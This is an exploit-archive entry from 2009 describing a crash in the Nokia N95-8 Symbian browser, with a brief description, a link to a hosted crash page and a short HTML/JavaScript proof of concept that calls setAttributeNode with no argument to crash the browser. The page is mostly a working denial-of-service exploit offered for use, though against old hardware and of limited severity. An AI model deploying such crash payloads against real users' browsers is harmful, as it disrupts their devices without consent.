[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Nokia N95-8 browser (setAttributeNode) Method Crash Exploit
# Published : 2009-02-13
# Author : Juan Yacubian
# Previous Title : TPTEST <= 3.1.7 Stack Buffer Overflow PoC
# Next Title : Netgear embedded Linux for the SSL312 router DOS Vulnerability
Application: Nokia N95-8
OS: Symbian
------------------------------------------------------
1 - Description
2 - Vulnerability
3 - POC/EXPLOIT
------------------------------------------------------
Description
The nokia n95 is a smartphone, this phone have more tools, for example: gps,mp3,camera,wireless.
:)
------------------------------------------------------
Vulnerability
The vulnerability is caused when the browser, opened a web with javaScript code. This cause that page crash.
The error is in the method "setAttributeNode", because the bad implement is the cause of bug.
------------------------------------------------------
POC/EXPLOIT
Enter in this url
http://es.geocities.com/jplopezy/nokiacrash2.html
or make html file and insert this code
<input type='checkbox' id='c'>
<script>
r=document.getElementById('c');
a=r.setAttributeNode();
</script>
------------------------------------------------------
Juan Pablo Lopez Yacubian
# www.Syue.com [2009-02-13]